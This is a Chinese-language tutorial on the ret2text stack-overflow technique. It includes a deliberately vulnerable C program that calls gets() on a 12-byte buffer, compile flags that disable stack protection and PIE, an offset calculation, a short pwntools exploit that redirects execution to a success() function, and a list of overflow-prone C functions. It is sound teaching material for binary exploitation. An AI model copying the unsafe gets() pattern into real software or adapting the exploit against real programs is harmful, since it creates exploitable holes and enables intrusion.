ret2text
原理
ret2text 即控制程序執行程序本身已有的的代碼(.text)。其實,這種攻擊方法是一種籠統的描述。我們控制執行程序已有的代碼的時候也可以控制程序執行好幾段不相鄰的程序已有的代碼(也就是 gadgets),這就是我們所要說的ROP。
這時,我們需要知道對應返回的代碼的位置。當然程序也可能會開啟某些保護,我們需要想辦法去繞過這些保護。
例題
這里我們給出例題程序源碼
#include <stdio.h>
#include <string.h>
void success() { puts("Now you know what is ret2text."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
采用如下指令編譯gcc -m32 -fno-stack-protector -no-pie ret2text.c -o ret2text
- -m32:編譯為32位文件
- -fno-stack-protector:關閉堆棧溢出保護
- -no-pie:關閉地址隨機化
首先檢測分析目標文件
發現關閉了地址隨機化PIE,關閉了canary保護,開啟NX堆棧不可執行。
分析一下我們需要執行success()函數,可以在vulnerable()函數中觸發漏洞。
回顧一下32位函數調用入棧過程
函數返回地址入棧->EBP入棧->局部變量入棧(esp為局部變量申請的一段棧空間)
我們需要一直填充覆蓋掉EBP并改寫返回地址到success()函數即可。
放到IDA下直接看,反匯編F5 vulnerable() 函數

s的偏移量位0x14h,這樣我們需要 填充20個字節 + 覆蓋ebp + ret2text
具體exp如下
from pwn import *
sh = process("./ret2text")
whatever = 0xcafebabe
win = 0x8048456
sh.sendline(b'A'*20 + p32(whatever) + p32(win))
sh.interactive()

成功。
總結
常見存在棧溢出函數:
- 輸入
- gets,直接讀取一行,忽略’\x00’
- scanf
- vscanf
- 輸出
- sprintf
- 字符串
- strcpy,字符串復制,遇到’\x00’停止
- strcat,字符串拼接,遇到’\x00’停止
- bcopy
參考